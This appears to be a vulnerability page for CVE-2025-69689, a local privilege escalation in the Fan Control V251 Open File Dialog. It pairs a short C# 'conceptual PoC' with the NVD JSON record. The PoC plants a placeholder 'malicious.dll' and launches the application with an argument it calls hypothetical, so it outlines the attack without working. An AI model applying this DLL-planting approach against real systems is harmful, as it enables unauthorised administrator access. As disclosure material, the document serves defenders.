CVE-2025-69689

// Conceptual PoC for Privilege Escalation in File Dialog // This is a simulation of how an attacker might prepare the environment. using System; using System.Diagnostics; using System.IO; public class ExploitDemo { public static void Main(string[] args) { // Step 1: Identify the vulnerable application path string appPath = @"C:\Program Files\FanControl\FanControl.exe"; // Step 2: Create a malicious payload (e.g., a DLL) // In a real scenario, this DLL would contain malicious code. string maliciousDllPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), "malicious.dll"); File.WriteAllBytes(maliciousDllPath, new byte[] { 0x4D, 0x5A }); // Dummy MZ header Console.WriteLine($"[+] Created malicious payload at: {maliciousDllPath}"); // Step 3: Trigger the Open File Dialog logic // The attacker would need to interact with the application's API or UI // to point the elevated dialog to the malicious file location. // Since the dialog processes paths with elevated privileges, // loading this file could result in privilege escalation. Console.WriteLine("[+] Attempting to trigger vulnerable file dialog..."); try { Process.Start(new ProcessStartInfo { FileName = appPath, Arguments = $"--open \"{maliciousDllPath}\"", // Hypothetical argument UseShellExecute = true }); } catch (Exception ex) { Console.WriteLine($"[-] Error: {ex.Message}"); } } }

{"cve": {"id": "CVE-2025-69689", "sourceIdentifier": "[email protected]", "published": "2026-04-27T18:16:53.160", "lastModified": "2026-04-27T18:57:20.293", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Fan Control application V251 contains an improper privilege handling vulnerability in its Open File Dialog. The dialog processes user-supplied paths with elevated permissions, which can be exploited by a local attacker to perform actions with administrator-level privileges."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.0, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://getfancontrol.com", "source": "[email protected]"}, {"url": "https://gist.github.com/ahrixia/7c89bb3f1af6e85aeedde5ddb557a529", "source": "[email protected]"}, {"url": "https://github.com/Rem0o/FanControl.Releases", "source": "[email protected]"}, {"url": "https://github.com/Rem0o/FanControl.Releases/releases/tag/V251", "source": "[email protected]"}]}}